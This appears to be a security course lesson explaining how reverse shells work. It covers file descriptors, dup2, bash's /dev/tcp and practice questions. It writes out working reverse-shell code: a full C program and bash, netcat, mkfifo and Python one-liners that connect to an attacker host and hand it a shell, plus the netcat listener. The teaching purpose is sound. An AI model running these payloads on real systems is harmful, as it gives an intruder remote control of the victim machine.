Reverse Shells

You just exploited a buffer overflow and hijacked control flow to run arbitrary code on a remote server. Now what? The server sits behind a corporate firewall that blocks all inbound connections — you can't just SSH in. A reverse shell solves this by making the victim call you, turning the attacker into a listener and every outbound connection rule into an open door.

Bind Shell vs. Reverse Shell

The conceptual difference is about who initiates the TCP connection.

Property Bind Shell Reverse Shell
Who listens Victim opens a port Attacker opens a port
Who connects Attacker connects to victim Victim connects to attacker
Firewall problem Inbound rules on victim block it Outbound traffic usually allowed
NAT problem Victim behind NAT is unreachable Attacker's public IP is reachable

In a typical corporate or cloud environment, servers are protected by firewalls that drop unsolicited inbound connections. Outbound connections, however, are almost always permitted (otherwise the server couldn't access the internet). A reverse shell exploits that asymmetry: the victim initiates an outbound TCP connection to the attacker's listener, and the firewall happily lets it through.

The Building Blocks: File Descriptors and dup2

To understand how a reverse shell works, you need to understand two OS primitives.

File Descriptors

The Linux kernel tracks every open file, socket, pipe, or device with an integer called a file descriptor (fd). Each process inherits three standard ones:

fd Name Default target
0 stdin keyboard
1 stdout terminal
2 stderr terminal

When a program calls open("/tmp/xyz", O_RDWR), the kernel finds the lowest unused integer (typically 3) and maps it to that file. The kernel maintains this mapping in a per-process file descriptor table.

dup2: Redirecting a File Descriptor

int dup2(int oldfd, int newfd);

dup2 duplicates oldfd and assigns it the number newfd, closing whatever newfd pointed to first. This is how the shell implements > and <. After dup2(sockfd, 1), writing to fd 1 (stdout) actually writes to the socket. The program has no idea — it just uses printf and the bytes go over the network.

Redirection in the Shell

Bash's built-in /dev/tcp virtual filesystem lets you open a TCP connection without any helper program:

# Send cat's output to a TCP connection at 10.0.2.5:8080
cat > /dev/tcp/10.0.2.5/8080

# Read from the time server at time.nist.gov:13
cat < /dev/tcp/time.nist.gov/13

/dev/tcp is not a real directory — it does not exist on disk. It is a feature built into bash itself; other shells (dash, sh) do not support it.

How a Reverse Shell Works

Combining the pieces above, a reverse shell on the victim side:

  1. Opens a TCP socket and connects outbound to the attacker's IP and port.
  2. Redirects stdin, stdout, and stderr to that socket fd using dup2.
  3. Executes /bin/bash (or /bin/sh). The shell now reads commands from the socket and writes output back through the socket — which the attacker's listener receives and displays.

In C (the long form)

// 1. Create a TCP socket
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

// 2. Fill in attacker's address
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("10.0.2.5");
server.sin_port = htons(8080);

// 3. Connect outbound to attacker
connect(sockfd, (struct sockaddr*)&server, sizeof(server));

// 4. Redirect all three standard streams to the socket
dup2(sockfd, 0);   // stdin  <- socket
dup2(sockfd, 1);   // stdout -> socket
dup2(sockfd, 2);   // stderr -> socket

// 5. Spawn a shell — its I/O now flows over the network
execve("/bin/bash", NULL, NULL);

After step 4 the file descriptor table on the victim looks like this:

fd Now points to
0 TCP socket to attacker
1 TCP socket to attacker
2 TCP socket to attacker

Everything the attacker types travels as socket data into fd 0 (stdin); everything bash prints exits through fd 1/2 (stdout/stderr) straight back to the attacker.

Common One-Liners

Real attacks use one-liners because shellcode needs to be compact, and scripting languages are almost always available on a target system.

Bash /dev/tcp (bash built-in only):

/bin/bash -i > /dev/tcp/ATTACKER_IP/9090 0<&1 2>&1

nc (netcat):

nc -e /bin/bash ATTACKER_IP 9090

Some versions of nc lack -e; the alternative pipes:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 9090 > /tmp/f

Python:

python3 -c "import socket,subprocess,os; \
  s=socket.socket(); s.connect(('ATTACKER_IP',9090)); \
  os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); \
  subprocess.run(['/bin/sh','-i'])"

The Listener (Attacker Side)

On the attacker's machine, start a listener before triggering the exploit:

nc -lvnp 9090

Flags: -l listen, -v verbose, -n no DNS, -p 9090 port. When the victim connects, netcat hands stdin/stdout directly to the attacker's terminal — producing an interactive shell prompt running on the victim.

Connecting It to the Exploitation Chain

When you deliver shellcode via a buffer overflow, the payload no longer needs to be a simple execve("/bin/sh") that only works locally. Instead the shellcode performs the same steps as the C program above — socket, connect, dup2 × 3, execve("/bin/bash") — all as raw machine instructions. Because you can't assume the target is running bash, a common pattern in injected code is:

execve("/bin/bash", ["/bin/bash", "-c", "/bin/bash -i > /dev/tcp/IP/PORT 0<&1 2>&1"], NULL)

This forces bash to be spawned first (even if the default shell is dash or sh), then runs the /dev/tcp redirect inside it.

A comprehensive reference of one-liners across every scripting language (Python, Perl, Ruby, PowerShell, Go, etc.) is maintained at the Reverse Shell Cheat Sheet.

Key Takeaways

Practice

  1. A corporate server sits behind a firewall that blocks all unsolicited inbound TCP connections but permits outbound traffic. Which shell technique works in this environment and why?
  2. In a freshly started Linux process, which file descriptor number is assigned to standard input by default?
  3. What does the system call dup2(sockfd, 1) do?
  4. Consider the bash one-liner run on the victim: /bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1. What does 0<&1 accomplish?
  5. Why does /dev/tcp/IP/PORT only work inside bash and not inside dash or sh?
  6. Before triggering a reverse shell exploit, an attacker runs nc -lvnp 9090 on their machine. What is the purpose of this command?
  7. In the C implementation of a reverse shell, after calling dup2(sockfd, 0), dup2(sockfd, 1), and dup2(sockfd, 2), which call completes the reverse shell?
  8. Explain the ordered sequence of system calls a C reverse shell makes on the victim machine, and describe what each call achieves.
  9. You have exploited a buffer overflow in a remote server and can run shellcode. Explain why the reverse shell payload is preferred over a simple execve("/bin/sh") payload in this scenario.